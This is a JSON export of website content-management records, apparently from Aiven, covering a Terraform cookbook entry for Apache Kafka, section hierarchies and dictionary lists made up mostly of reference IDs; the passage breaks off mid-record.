{"__i18n_lang":"en","_createdAt":"2024-03-27T08:12:05Z","_id":"3f924711-f70e-4091-87da-9e4fdc57cc4e","_rev":"kRa0sLdvlB8lPXh7myqZEr","_type":"devCollection","_updatedAt":"2024-09-16T15:12:15Z","articleItems":[{"_key":"83999d092a6d","_ref":"a21b32f0-aaab-4720-8976-c439d5a3f4c0","_type":"reference"},{"_key":"a476cfe9f632","_ref":"75e9857b-65bd-4036-9bab-257f0ddbfb8c","_type":"reference"},{"_key":"ede99b75d130","_ref":"373999f2-cb1a-48f5-8bba-b8a6295ba885","_type":"reference"},{"_key":"c57e286713a7","_ref":"55e10e8d-4c91-4fe0-97c4-f92b09db8840","_type":"reference"},{"_key":"0f4d95c93525","_ref":"7b31ec64-0438-419f-90a1-9e0835e2436a","_type":"reference"},{"_key":"aa1d5b97e3cf","_ref":"b10e91b8-963a-415d-ae26-04a86831ab20","_type":"reference"},{"_key":"a68c56875ae3","_ref":"d4596bb2-1427-497d-b642-ea2c94095067","_type":"reference"},{"_key":"8765997ee691","_ref":"2038f4c7-4494-4d3a-964e-7cf95e608128","_type":"reference"},{"_key":"c5d203c3acb5","_ref":"a079f3cf-69be-4348-b899-ad2f79d55791","_type":"reference"}],"body":"This cookbook provides copy-and-paste ready Terraform examples with various Aiven services and integrations. They are designed for people looking for a quick solution to a specific problem. Interested in seeing more cookbooks? Leave a comment for us on the forum!","feature":{"_type":"featuredItem","active":true,"endDate":"2030-04-01T07:11:00.000Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"publishedAt":"2024-03-27T07:58:03.169Z","slug":{"_type":"slug","current":"/developer/terraform-cookbook-kafka"},"subtitle":"This is a collection of Terraform Cookbook for Apache Kafka","tags":[{"_key":"6c32135a881d","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"8eec30602909","_ref":"6496a8e4-6fbe-43d6-b945-f2505fd3b34a","_type":"tag"}],"title":"Terraform Cookbook (Apache Kafka)"} {"_createdAt":"2023-03-17T15:18:48Z","_id":"e6555a63-f0c2-406b-896c-cbe290019c3c","_rev":"RksXZeZKLvjmDTh0104ocW","_type":"devHierarchy","_updatedAt":"2023-03-17T15:28:26Z","description":{"_type":"localeText","en":"Guides to reliable, scalable, and cost-effective solutions for managing and processing large volumes of data."},"order":0,"slug":{"_type":"slug","current":"store"},"title":{"_type":"localeString","en":"Store"}} {"_createdAt":"2023-03-17T15:18:36Z","_id":"185b7847-7030-4530-ad9c-89a0772c8be9","_rev":"rpwBSMa1i11HwZnbWpfRVn","_type":"devHierarchy","_updatedAt":"2023-09-20T06:53:58Z","description":{"_type":"localeText","en":"Guides to powerful and flexible tools for real-time data processing, analysis, and visualisation. Simplify your workflows and visit the Aiven Developer Center"},"order":0,"slug":{"_type":"slug","current":"stream"},"title":{"_type":"localeString","en":"Stream"}} {"_createdAt":"2023-03-17T15:18:23Z","_id":"34643944-d559-485e-93a0-7d1f94a744e7","_rev":"lI1OMJNS7f9WP80VhcyIts","_type":"devHierarchy","_updatedAt":"2024-04-30T08:08:11Z","description":{"_type":"localeText","en":"Guides to track and analyze data consumption, optimize resource allocation, and improve system reliability."},"order":0,"slug":{"_type":"slug","current":"serve"},"title":{"_type":"localeString","en":"Serve"}} {"_createdAt":"2023-05-19T15:34:24Z","_id":"8c1b1613-406f-48c7-b78d-e04af0f2d21f","_rev":"Bg5HPBiLdZofLBzDDYbyJ5","_type":"dictionary","_updatedAt":"2023-05-23T12:19:20Z","fields":[{"_key":"b5c104830150","_ref":"908db368-6d72-43ab-b7c4-2b3ded081634","_type":"reference"},{"_key":"b94671db47d6","_ref":"62027987-090a-4131-8a06-729d6bbed016","_type":"reference"},{"_key":"dd795f95b818","_ref":"1f55dffd-a9e8-4d86-9f1e-9263e3731bb6","_type":"reference"},{"_key":"4614ac513ab2","_ref":"ca045395-8478-40f9-a3b8-311df37e9081","_type":"reference"},{"_key":"f03ea53b207f","_ref":"ce1f2fe3-aeb7-487e-be27-586b87c5a0e6","_type":"reference"},{"_key":"134e691e8e7e","_ref":"00ed009e-c79f-46e3-a044-21507ccfc146","_type":"reference"},{"_key":"837d319e9e73","_ref":"722ceaac-3071-4c64-b833-52a21048a667","_type":"reference"},{"_key":"c4fc06086f2d","_ref":"cad09e6e-f8a4-41b8-abd2-66aa7b03e3c8","_type":"reference"},{"_key":"16b98e394509","_ref":"cba57f40-f139-4b4d-b298-34354f19934c","_type":"reference"},{"_key":"a25e3f5505e0","_ref":"b5d16611-2c45-467a-ae2d-d30ec430d603","_type":"reference"},{"_key":"7387d003dc08","_ref":"13bc670b-5098-47cc-be8e-5f457b9602b2","_type":"reference"},{"_key":"df6e43be9648","_ref":"b283ed81-9c30-4cb6-af06-8a6a3c6d871c","_type":"reference"},{"_key":"1d760f7daea4","_ref":"f782c159-584d-4146-baa3-e3df2d171a1f","_type":"reference"},{"_key":"66e610ae1988","_ref":"47d5beef-d73e-4f36-8524-9acf07f8a746","_type":"reference"},{"_key":"e06f664f9969","_ref":"1b307256-5edd-4cdf-b4ca-a41b46a113fe","_type":"reference"},{"_key":"2f73b0dd0506","_ref":"4846065d-434c-47fe-b561-809128360482","_type":"reference"},{"_key":"dcbea6ba088c","_ref":"375875e8-e8df-4e56-bd5a-7c42a6745c68","_type":"reference"},{"_key":"b2f96738ccdd","_ref":"b8db5e49-2ff0-4019-abde-2f33b4d96637","_type":"reference"},{"_key":"bbd678a0a09a","_ref":"feaceff9-269b-45c1-8ae0-c580bf76c829","_type":"reference"},{"_key":"086c6c54c23a","_ref":"811d9748-aa4e-4ffb-8bfd-7f795c748c05","_type":"reference"},{"_key":"b8a96824ec11","_ref":"fef99f64-2640-4ba2-8d2b-ae44a3accfda","_type":"reference"},{"_key":"cd5eb59501db","_ref":"117c149d-6137-45a7-a040-cd0c21b2f049","_type":"reference"},{"_key":"afb147b21fa9","_ref":"2ccb65ab-5aa9-4553-a395-10673724a495","_type":"reference"},{"_key":"f6c2a94c73fe","_ref":"648e2d11-f8fb-467b-8ba5-f1a219af9420","_type":"reference"},{"_key":"3a0cd661a72e","_ref":"e72c81f2-ab0a-4dd5-a46c-2f31f0e4c008","_type":"reference"},{"_key":"7474ea0f364e","_ref":"54049a68-c38f-4b54-a8d9-477bbdd94754","_type":"reference"},{"_key":"de9ba62222e2","_ref":"2bd5e86c-6e3d-496d-81e0-4cf04be71f00","_type":"reference"},{"_key":"92d9e8f7f58a","_ref":"7c402443-fa7f-4b64-9b53-8e740ba43c22","_type":"reference"},{"_key":"2a65b634da62","_ref":"22a37708-cc37-447f-a8fb-3082e2a5351c","_type":"reference"},{"_key":"48ae3a30feff","_ref":"f4dced79-2e8c-4472-b8b8-a259a5a1401c","_type":"reference"},{"_key":"f5a9d9013046","_ref":"f5b11ed5-0b16-4584-85a5-e4b0e16a6a07","_type":"reference"},{"_key":"4d42739bab6d","_ref":"c8bb1f91-7cd4-4ee9-af39-9e7ea4bba615","_type":"reference"},{"_key":"4665109c7b54","_ref":"182acdf8-07cf-4def-9b47-d46917e589df","_type":"reference"},{"_key":"f5d597a2b285","_ref":"bc36b98b-e77c-4507-bd4a-a36eeae7e19a","_type":"reference"},{"_key":"f752b6d9e1f5","_ref":"dcd5781f-3973-4cce-9740-de146623a61b","_type":"reference"},{"_key":"4ef9e390bf63","_ref":"f5d94af4-3773-4697-a9ff-b774021521a5","_type":"reference"},{"_key":"cc8e1103211d","_ref":"807d27f0-b41b-4022-bb00-80d6eef4ceec","_type":"reference"},{"_key":"dd076cc50a0b","_ref":"faf0a8de-4f0c-4c72-885a-ecc87c3c018c","_type":"reference"},{"_key":"c37f1d78bd1b","_ref":"c8a61280-7351-44a5-8f98-0b21517f3b9c","_type":"reference"},{"_key":"411d4a7188bd","_ref":"87e1460d-8ca7-4be5-bf0c-cbfac2091665","_type":"reference"},{"_key":"aa05add5563e","_ref":"4be1d6ce-916d-43fb-bd88-63489169ca6a","_type":"reference"},{"_key":"a12137e0c30f","_ref":"f2ff4a30-4901-48cf-b5a3-9a62f9fe0e5e","_type":"reference"},{"_key":"b415b237043a","_ref":"5e57817c-cea8-4469-8a1a-f42c7e70aa70","_type":"reference"},{"_key":"3d4d2c02a2f0","_ref":"14059a03-4192-4b29-b120-dc5e9a968dd8","_type":"reference"},{"_key":"4edd3be328c7","_ref":"d0d6156e-6212-4efb-a564-b3f4d116ceca","_type":"reference"},{"_key":"2b2a17d9813f","_ref":"644804a9-77ba-436c-af74-39a9a66f9274","_type":"reference"},{"_key":"dadc06bc93dc","_ref":"a5d996be-74e9-4f76-85ff-fd8d0985202f","_type":"reference"},{"_key":"5a921b02b7aa","_ref":"e485c928-7a1e-4691-a599-c16037e07d84","_type":"reference"},{"_key":"a05cc3a3a7fe","_ref":"f6ab972f-f1ce-491f-9ac3-91bf455216a4","_type":"reference"},{"_key":"9a4a2a38d9b2","_ref":"707ffef1-8818-4e58-8608-9b3f78540244","_type":"reference"},{"_key":"bac6eacdb0a1","_ref":"cc006a9a-3b7e-499b-9817-4fc1cf8d1c3a","_type":"reference"},{"_key":"f34cb94bc324","_ref":"b38253b0-e98c-463e-a400-8ea93cce3a16","_type":"reference"}],"name":"Kafka Plan Finder"} {"_createdAt":"2022-10-03T07:01:24Z","_id":"8e846859-b1ca-4827-8c49-bf6f287c9dc5","_rev":"YgPujUcKQ2JSpcKSYW1NKh","_type":"dictionary","_updatedAt":"2023-11-07T13:25:04Z","fields":[{"_key":"53dc72fc1117","_ref":"837a508d-5286-40d3-8603-73350471d481","_type":"reference"},{"_key":"a1a7bc624cf4","_ref":"5f350b21-734b-4329-8fde-8accb85dd694","_type":"reference"},{"_key":"427bfb7303c7","_ref":"9568a145-f418-4002-816e-3f37dd14840b","_type":"reference"}],"name":"Blog"} {"_createdAt":"2023-10-26T08:09:47Z","_id":"cca79c39-fe10-436c-8480-1d39f412dc9d","_rev":"dWOXoeBNhMRLotF8JYyS19","_type":"dictionary","_updatedAt":"2023-10-26T08:11:21Z","fields":[{"_key":"21039758a915","_ref":"2b71713b-0f52-4363-abce-1d92b3df7388","_type":"reference"},{"_key":"17a4d8fd6619","_ref":"d7a51b70-3f5e-4206-8978-7e863bcf55e7","_type":"reference"},{"_key":"9b54d5e764e4","_ref":"f9187281-56c4-4f3c-8fa8-333baa6ad66c","_type":"reference"}],"name":"Careers"} {"_createdAt":"2023-03-29T13:54:19Z","_id":"564b2705-eca7-49ef-a6bc-656d8dd8a412","_rev":"3FGtLQfVRJNnLVm3pVQKb1","_type":"dictionary","_updatedAt":"2024-03-11T11:14:54Z","fields":[{"_key":"da87c0acc75e","_ref":"18a9b328-dad0-47b1-b2f4-72a0de78eb1f","_type":"reference"},{"_key":"86ce6afe8c5b","_ref":"30c3784c-ac4c-4a2f-b6d9-6b6e332053c4","_type":"reference"},{"_key":"c1ff307b4c7b","_ref":"98c1e480-4a01-4a3d-8d99-34909c158b2a","_type":"reference"},{"_key":"f1b69687b418","_ref":"d5c6b705-8c07-425c-a6d1-51df8df369fe","_type":"reference"},{"_key":"703b8e03afd1","_ref":"9cdb4b79-b405-4182-bdaf-88c5a8dbf7a7","_type":"reference"},{"_key":"9b24e9631fc8","_ref":"c712d892-2d0a-454e-b01c-4a42eaaecbee","_type":"reference"},{"_key":"acbdff6032fc","_ref":"77ddc34c-3c8c-4507-9a6a-a33194dc2b81","_type":"reference"},{"_key":"5aad787eeb19","_ref":"65118e08-541c-4801-88b6-88244333281f","_type":"reference"},{"_key":"5351468832f8","_ref":"5e4f5ca9-ed0b-4790-a4b3-4e3157648220","_type":"reference"},{"_key":"dc4299721e18","_ref":"432d2d81-cad8-4c07-b407-0fa6f71f27cb","_type":"reference"},{"_key":"79121f967456","_ref":"67c23276-2d22-4e83-8a99-fe849ab67bcc","_type":"reference"},{"_key":"ba7719bf048d","_ref":"4ec667f2-e8be-4908-8dd1-bd5cd01e9728","_type":"reference"},{"_key":"11851bce7fee","_ref":"5f350b21-734b-4329-8fde-8accb85dd694","_type":"reference"},{"_key":"950be7e0db18","_ref":"5aac3702-f3b8-4bd4-9099-ff0b651f9203","_type":"reference"},{"_key":"f6be81f2f080","_ref":"52972b57-1fec-4014-ab33-5e5753ec03dc","_type":"reference"},{"_key":"e8091826c2b2","_ref":"5859b472-6010-4359-b4aa-aff2d0a40c9f","_type":"reference"},{"_key":"77e1380a62d7","_ref":"33efa7f2-265e-4c77-90a5-a1ba2451eb5f","_type":"reference"},{"_key":"4245a5fbb2d1","_ref":"e8554a52-aff4-471d-90fc-67a903033d8a","_type":"reference"},{"_key":"80375d104c39","_ref":"6896f243-6429-4272-8a26-6c9a28fc02ae","_type":"reference"}],"name":"Developer Center"} {"_createdAt":"2022-11-09T08:50:31Z","_id":"58579970-a87b-40a5-8d03-b41de5f01739","_rev":"Do3156plRwIXmiihO0BOyd","_type":"dictionary","_updatedAt":"2023-12-18T11:56:26Z","fields":[{"_key":"5b2dd0d62725","_ref":"c33dec84-f0ab-4761-8995-93c460339d9c","_type":"reference"},{"_key":"52e025b20194","_ref":"50a3193f-ada6-430c-8ec7-63d6f7a93a44","_type":"reference"},{"_key":"7e805edb5473","_ref":"e490f658-0e38-4b71-a1f0-86f67132ab79","_type":"reference"},{"_key":"20f3a695bf11","_ref":"491c4302-7524-4d8c-bdcf-d9c9b683150e","_type":"reference"},{"_key":"c188c083670e","_ref":"32c1f60f-67ed-4038-a6ce-fef045b30170","_type":"reference"},{"_key":"71e0183eb310","_ref":"69c4d3b0-185b-41d3-bede-e9dc2fe4c42e","_type":"reference"},{"_key":"c91a8fefbeb6","_ref":"ae0909e7-8ffc-4a7d-a11a-5d96a26999c4","_type":"reference"},{"_key":"30ef00a76c43","_ref":"6f8d04c2-fea0-46da-a8d4-0da264a3f029","_type":"reference"},{"_key":"b447efccd1c2","_ref":"b6880a85-a43e-4258-8f23-c17a73221de2","_type":"reference"},{"_key":"db1f2ad40bab","_ref":"fcb0035f-7f5e-43dc-b514-a17638acd81f","_type":"reference"},{"_key":"5c00cc4ffbaa","_ref":"fcae0b4a-2cd0-4a98-ad98-a226893010ab","_type":"reference"},{"_key":"e08e17ca8b9d","_ref":"53a0c1da-5733-4041-be14-4d5d619d0ec3","_type":"reference"},{"_key":"27034415fb96","_ref":"6540ee6a-7288-40f0-ac7f-df1f660577e8","_type":"reference"},{"_key":"27d18454e241","_ref":"99d1b4ce-628a-4120-847d-6afe53eb9516","_type":"reference"},{"_key":"a352a51d5c9b","_ref":"b72acdfc-3d73-4f73-850b-345040993e31","_type":"reference"},{"_key":"8e0bb2b40349","_ref":"634a8065-dc2d-4249-bd2a-3df91599793c","_type":"reference"},{"_key":"1bb9a3a8e639","_ref":"eb5febf6-4b78-4285-93a9-a62641aa959e","_type":"reference"},{"_key":"89f13bddd09a","_ref":"03df3c11-af06-4065-8e94-4e113b8cf3c1","_type":"reference"},{"_key":"a039777551fc","_ref":"d1213092-8389-4306-8c9a-66fe8c36156f","_type":"reference"},{"_key":"12f799b6bd3e","_ref":"1a596523-c69c-4aa1-934c-ec9b4eeafa5f","_type":"reference"},{"_key":"46027f2a9efd","_ref":"187ae2fc-417e-4635-b625-069b338371a9","_type":"reference"},{"_key":"5221da413b3e","_ref":"f32f5b71-2dc6-4af1-9483-2c6dbe833644","_type":"reference"},{"_key":"7e21f5c1b95e","_ref":"45d56bb9-dbd8-493a-944f-78194dfead85","_type":"reference"},{"_key":"32ab7017d0df","_ref":"0532c128-76cf-43a3-894d-c4912879ce36","_type":"reference"},{"_key":"7b3e234141b4","_ref":"e1f7d32c-4452-432d-ac83-60154b7b7848","_type":"reference"},{"_key":"3436359bff5d","_ref":"3da89fb4-d48f-43bf-8567-b7d90f357b4b","_type":"reference"},{"_key":"e32144f91b98","_ref":"3b51a2dd-7b4c-42bb-ab3f-ee6b2afb558e","_type":"reference"},{"_key":"6ec9b0fff1dd","_ref":"9188cb27-846e-454b-801e-d120e7407c0d","_type":"reference"},{"_key":"9b07b0a39278","_ref":"93c9b281-6b01-49ff-9cba-70aafbd87311","_type":"reference"},{"_key":"ea37de7be78b","_ref":"5b152277-94d1-4c60-8127-6555a4ace5b2","_type":"reference"},{"_key":"6c1cb4f91ca3","_ref":"17e10d40-6546-474e-aee4-6e341c9eb7cf","_type":"reference"},{"_key":"eb50c21305f5","_ref":"4f71ad7a-cf0a-4743-962d-bff3eb6fc54d","_type":"reference"},{"_key":"7ee2c17cec6d","_ref":"04561c43-6487-469f-95d8-c73d96b20f73","_type":"reference"},{"_key":"47585772787f","_ref":"1a6b9be9-dd26-4397-b1f0-ee1f5c72c4a3","_type":"reference"},{"_key":"592ce792f7ab","_ref":"c6f4e6f3-06b7-4587-bcf6-e72f728e8d74","_type":"reference"},{"_key":"bf59038bf832","_ref":"3f6cfa56-591f-4a0f-ad72-1763f361493b","_type":"reference"},{"_key":"bd09587ca646","_ref":"a496e085-82c0-49ab-a64b-1d4ac386a0d0","_type":"reference"},{"_key":"65d94b5bb844","_ref":"bc6a4539-2d62-4b89-9c2f-91069f914fe2","_type":"reference"},{"_key":"02041bca16c3","_ref":"5e4daeb7-acff-4b1d-9843-e5f6ed78dc86","_type":"reference"},{"_key":"6ed3146e4c04","_ref":"e53319da-0a7b-466c-93c8-7bfca8b29f07","_type":"reference"}],"name":"Service Diagram"} {"_createdAt":"2022-09-29T09:47:36Z","_id":"60a13b88-ee05-45a5-b5c2-717b4c4c3605","_rev":"v53ZsDDD1bdWz9EKVINvEt","_type":"dictionary","_updatedAt":"2022-11-24T16:44:06Z","fields":[{"_key":"3ddae62ce1f1","_ref":"9d6628a6-b696-4484-9f99-34bef25fc257","_type":"reference"},{"_key":"2a5e3bac06c2","_ref":"09afe632-3beb-4bab-a61f-ccf185d2ac49","_type":"reference"},{"_key":"4aaaf5d0a04c","_ref":"4ec667f2-e8be-4908-8dd1-bd5cd01e9728","_type":"reference"},{"_key":"b50341bb18ee","_ref":"b16ab0c4-d188-4766-9f68-ea4b000a98f8","_type":"reference"}],"name":"Newsletter"} {"_createdAt":"2023-09-14T12:48:15Z","_id":"9ba66331-1e74-4285-9956-864ca8b6f61d","_rev":"ZpixvKy5oWJdKYmQwhIPLP","_type":"dictionary","_updatedAt":"2023-09-14T12:48:15Z","fields":[{"_key":"4e8ceda0c93d","_ref":"ee217b18-96f0-4fe7-902b-9b49a9315e43","_type":"reference"}],"name":"Event"} {"_createdAt":"2022-11-10T09:12:08Z","_id":"ce290c55-c377-42da-8962-07205143b806","_rev":"AgVn9c2bYty4stE1R2ysMg","_type":"dictionary","_updatedAt":"2022-11-10T09:14:23Z","fields":[{"_key":"c534ee23e9f6","_ref":"e2f8d8d0-f500-49ec-897b-d4a15c884f8c","_type":"reference"},{"_key":"8f461ba1dd1e","_ref":"3fb22aea-9f0a-492b-8fa0-6c7042d527ba","_type":"reference"},{"_key":"816e68ed5f24","_ref":"4926356a-8767-4db0-a2ec-de7f0c700039","_type":"reference"},{"_key":"afaf3653a9f6","_ref":"f15ce423-0df2-4567-a2fe-2b13d46271d1","_type":"reference"},{"_key":"4d8c78f16578","_ref":"bcd8d677-44a3-4ccc-80e1-172c26d35424","_type":"reference"},{"_key":"6b11acdf8ac7","_ref":"b039f28d-93e0-4c01-9ebb-df612d634949","_type":"reference"},{"_key":"ea24ad1687a4","_ref":"f7b3a73c-b5ea-41e5-a520-533dbc96a253","_type":"reference"}],"name":"Language"} {"_createdAt":"2022-09-05T09:28:12Z","_id":"f5e80878-841e-4c9b-8b35-e1c9886cbbf7","_rev":"QGahfGdSUCeizIttaAl1RG","_type":"dictionary","_updatedAt":"2023-07-12T07:14:05Z","fields":[{"_key":"9e4a9904ec79","_ref":"b0e68a09-6075-4898-a6ed-aa182361f21f","_type":"reference"},{"_key":"93c9d99547b7","_ref":"e2758504-57a9-48c1-8f83-42a0033705d9","_type":"reference"},{"_key":"6846b77f6238","_ref":"bf5e2476-a165-4b13-80dd-cb8c1f708a48","_type":"reference"},{"_key":"1d5a299bd4c1","_ref":"4258377c-fc1d-4631-9191-89442e5b3c13","_type":"reference"},{"_key":"b5fb54dd417b","_ref":"54aa46f5-2a8c-4186-8eb5-1c8dbf15ec71","_type":"reference"},{"_key":"569c6e068a97","_ref":"db4649a4-e274-4608-8a90-4aa3af60b489","_type":"reference"},{"_key":"ad71901ed531","_ref":"52fa60cc-994f-4e34-824b-fb2ff694e6b1","_type":"reference"},{"_key":"25cdac6b917b","_ref":"bb293188-0014-402e-a3e1-7419d36c1a66","_type":"reference"},{"_key":"088759ba6416","_ref":"65e26c68-c06e-4697-b57e-f200addb4c43","_type":"reference"},{"_key":"3b3bd3d26164","_ref":"5a941f47-72e2-4796-aca8-3c9264a39e68","_type":"reference"},{"_key":"181e9957a68a","_ref":"bc553811-ad25-41f3-8388-9aff40a2dcc3","_type":"reference"},{"_key":"d25e863e0486","_ref":"4be1d6ce-916d-43fb-bd88-63489169ca6a","_type":"reference"},{"_key":"ed7a266df170","_ref":"7ceccbd5-cb93-4f04-8eb0-8fef2abbae0b","_type":"reference"},{"_key":"7783a389228c","_ref":"3764fd4a-3cc6-436c-81a7-18135e5ffd88","_type":"reference"},{"_key":"bf57a0cfa44b","_ref":"56b202dd-e0d9-4fef-9e99-2d134e9ceeea","_type":"reference"},{"_key":"fce416705080","_ref":"06035b82-965c-4bf7-9bdb-324201e9bd25","_type":"reference"},{"_key":"aa323bb444e3","_ref":"bbd4f9fe-2118-44df-a41f-cdec7d85ec06","_type":"reference"},{"_key":"adfd1cba0555","_ref":"ad9c8d8e-df5b-4193-ac99-7593b069d332","_type":"reference"},{"_key":"32ec385b4fe8","_ref":"aa165973-458e-4c58-a8bd-dc95190d421a","_type":"reference"}],"name":"Case Studies"} {"_createdAt":"2022-06-29T15:17:46Z","_id":"daa2793b-8bbe-4d6b-8a74-d9c4f9024bc5","_rev":"ZhxRwgWPklJwoe04logrln","_type":"dictionary","_updatedAt":"2024-11-28T11:52:19Z","fields":[{"_key":"a8342c742ec5","_ref":"08f5166e-6478-407f-ba7a-87d4db002764","_type":"reference"},{"_key":"a05d1d807de2","_ref":"1aed1a0f-26bf-4d73-818e-b2577df56ab2","_type":"reference"},{"_key":"594120b67f61","_ref":"2174609d-6ae2-4afe-a250-2bbfb2aade19","_type":"reference"},{"_key":"079537790903","_ref":"3e5917fe-0176-4396-a3e8-d374c0a3a1a5","_type":"reference"},{"_key":"50fdd2cb5f60","_ref":"4ec667f2-e8be-4908-8dd1-bd5cd01e9728","_type":"reference"},{"_key":"9ca4e930ddda","_ref":"d33b358a-a6e0-4451-99e7-4f4895073337","_type":"reference"},{"_key":"610537373cc8","_ref":"d5419ca5-096d-4b83-b591-916eca3cf7b3","_type":"reference"},{"_key":"c2b6bceb3e9b","_ref":"da7eff78-6128-4c01-945d-2199dfd9af35","_type":"reference"},{"_key":"e4a25ddcef7a","_ref":"7f490099-647e-4759-8caf-63788152edc9","_type":"reference"},{"_key":"13e01c69b15f","_ref":"323efcd5-9b35-4363-b321-ee8d440cd563","_type":"reference"},{"_key":"2c16909f814b","_ref":"81d8c2ff-9bf9-4a84-b6b9-635670c70148","_type":"reference"},{"_key":"f1ad53a987be","_ref":"59fadc60-71d8-468b-bab3-df33145e8855","_type":"reference"},{"_key":"a8c9ac6cd558","_ref":"f8ad8ad7-cb80-402f-96c3-59814388bc08","_type":"reference"},{"_key":"bf4d23e4d0fd","_ref":"24c2dd2b-e7ac-4fa8-8863-f9f6808a7f62","_type":"reference"},{"_key":"5e53219dd9a3","_ref":"838fc622-11b6-40f4-96dc-9fdd3918d312","_type":"reference"},{"_key":"efd570f7aa05","_ref":"673dc766-4105-4288-86b4-27e27acb633f","_type":"reference"},{"_key":"7e5efd23cd27","_ref":"c973db9a-8471-4412-bf14-71588ce02689","_type":"reference"},{"_key":"96f63a3c0566","_ref":"b09f2c03-f1d2-46d3-bbfa-5f522770b4c2","_type":"reference"},{"_key":"b982cb13df20","_ref":"3bac45f3-dcd4-44ad-a998-54962ec51f10","_type":"reference"},{"_key":"31f07d3d928f","_ref":"41704ffa-a08b-490f-90b0-b00bf93ffb95","_type":"reference"},{"_key":"a08be8ff8da5","_ref":"b0e68a09-6075-4898-a6ed-aa182361f21f","_type":"reference"},{"_key":"dc8113160c26","_ref":"b6e4ce74-f95a-4c34-bff9-0f900215b6df","_type":"reference"},{"_key":"97d4bb98d23b","_ref":"273f628b-b5b6-4242-8541-abf6a15347d1","_type":"reference"},{"_key":"bec1ebd36a67","_ref":"7d658c1d-b9c5-47a8-b3cb-e0fde4451dfb","_type":"reference"},{"_key":"46ea7ff1baa0","_ref":"e65beff2-c099-4538-8b3a-47b97a2b0b48","_type":"reference"},{"_key":"1d2ef77f8f15","_ref":"2c4089d3-ab76-4cb7-947e-e43592e8ba92","_type":"reference"},{"_key":"4cc050b1e0f3","_ref":"29c1a29b-aaa9-41cd-8891-24c8296b1317","_type":"reference"},{"_key":"b498dc7df149","_ref":"5e67405d-c1fa-4510-8199-db3f4c2117d0","_type":"reference"},{"_key":"8c2d98618d01","_ref":"975b1e1d-296f-4779-8d34-e77c5a94f148","_type":"reference"},{"_key":"ebc0f2c2ac78","_ref":"c85e370a-9c17-4682-aaad-39fbd3645800","_type":"reference"},{"_key":"1e683c489018","_ref":"7cdeb871-7cff-454d-9430-d772f8ac588a","_type":"reference"},{"_key":"a78bb647ad0b","_ref":"badddfa3-83cb-4479-8d4e-f8bedf42dbca","_type":"reference"},{"_key":"9c24cc4328c1","_ref":"ba8ae484-1742-4ff9-b601-2b5d1385dd86","_type":"reference"},{"_key":"25a94173d6b2","_ref":"a773c41e-80df-46c2-820a-1b07d4981996","_type":"reference"},{"_key":"8151ba91164e","_ref":"632c6357-eb2a-480f-be3a-e790644ab51f","_type":"reference"},{"_key":"9c001cc110ef","_ref":"b90679f5-f331-47df-927e-27c8de8b3609","_type":"reference"},{"_key":"3bb0c89cfb0a","_ref":"882aeceb-115b-4ae6-b103-f0ee841c59bb","_type":"reference"},{"_key":"aa77c10b8b99","_ref":"39e0c14c-3534-49a4-8a9e-6c8eef40e118","_type":"reference"},{"_key":"bffeccf75dca","_ref":"7840a104-9ef9-439d-880f-97f38398460d","_type":"reference"},{"_key":"d62925af71e9","_ref":"c259fbcd-5651-4a1d-94cc-8d3ce2d64364","_type":"reference"},{"_key":"f6b73569a414","_ref":"6633f77e-9c53-4f44-942e-5dba39213b85","_type":"reference"},{"_key":"a355d6972ed7","_ref":"fb14c047-95f4-42e1-9e69-22e768706153","_type":"reference"},{"_key":"f947469348d9","_ref":"f83a0a3e-218c-4dba-985e-88cfaf4aa3e4","_type":"reference"},{"_key":"ad79e02e0550","_ref":"6057b9dd-013b-4f47-b2b5-09771b84c9b3","_type":"reference"},{"_key":"7d07d5f568ad","_ref":"c1b18488-3e08-4e0a-b747-989f3bc97ee6","_type":"reference"},{"_key":"bd15baae211f","_ref":"7cbdc771-64b8-4167-8d23-3523958c02f3","_type":"reference"},{"_key":"eeb2fc5f010d","_ref":"3593f9e6-979c-469f-a74d-fc042f45a16e","_type":"reference"},{"_key":"79e23173e9b6","_ref":"c92abb30-011d-4dae-b666-c0301c5beffd","_type":"reference"},{"_key":"6e315f3c195a","_ref":"de16c814-1edb-4aad-b702-dcb580ec6bc6","_type":"reference"},{"_key":"2309444c7514","_ref":"3e2d308a-5c86-4c0a-815f-8e2cf60b5b4b","_type":"reference"},{"_key":"dc6eaea2117c","_ref":"624e6302-b5ef-4c1a-9d36-c73cc828691f","_type":"reference"},{"_key":"e1986b9beb04","_ref":"7452268e-a7f2-444c-9a07-6abc2e15d909","_type":"reference"},{"_key":"1a6da38788c0","_ref":"b079ef22-dce2-4465-a82b-3b62b2ffc2b3","_type":"reference"},{"_key":"1327b2ec371f","_ref":"62027987-090a-4131-8a06-729d6bbed016","_type":"reference"},{"_key":"596977d4df32","_ref":"bfc8854a-248f-4ad8-8ae5-87d5b8ccf9f4","_type":"reference"},{"_key":"6f78515ed9d2","_ref":"13feb3e1-5bd5-4283-a892-a0f10d239617","_type":"reference"},{"_key":"8d1385a95b7c","_ref":"4a73d65a-149c-4391-9252-fd548771e12d","_type":"reference"},{"_key":"2ff4995ec342","_ref":"757d83a1-5a2a-4127-a020-d70d18777891","_type":"reference"},{"_key":"a9eefb771b04","_ref":"38ab540e-930d-4fed-85b3-006d54029128","_type":"reference"},{"_key":"06c88def0951","_ref":"9f0e510f-f33d-4ea9-8c1e-7f63dcb4dba2","_type":"reference"},{"_key":"51c5b3227bfc","_ref":"3f36737c-f507-4daf-9b7b-bd998f6db4c9","_type":"reference"},{"_key":"29bec41feb98","_ref":"15a9828f-5d84-459d-a37c-e7768e5bd1fc","_type":"reference"},{"_key":"96b7a3605486","_ref":"fdd4064b-bc0b-4a2d-a794-5059fbbea13d","_type":"reference"},{"_key":"235c580de4dd","_ref":"1c750956-6e18-475a-8ab6-8e6f828864ef","_type":"reference"},{"_key":"af52ae6b6ceb","_ref":"bd33c233-10a0-4a07-86f6-128d06ceb963","_type":"reference"},{"_key":"0e1e28bbeb74","_ref":"0f64c8dd-e1c5-4c2e-ab9f-3348950cd994","_type":"reference"},{"_key":"3738f9ece175","_ref":"ef0fad0b-a6ca-4735-8e77-20c73ce3b998","_type":"reference"},{"_key":"a9731e780c96","_ref":"a56a3a75-fb7c-43c9-888b-5002a81f8a34","_type":"reference"},{"_key":"844f31a0ca4d","_ref":"63ee248e-e2a6-4942-b430-9e1b5fab5747","_type":"reference"},{"_key":"ebc4e00324a6","_ref":"b5f2b1a2-b772-4bac-b060-73c6fca68bd9","_type":"reference"},{"_key":"6291505e3281","_ref":"ce950244-708d-4dee-860f-fd8f45cf3fab","_type":"reference"},{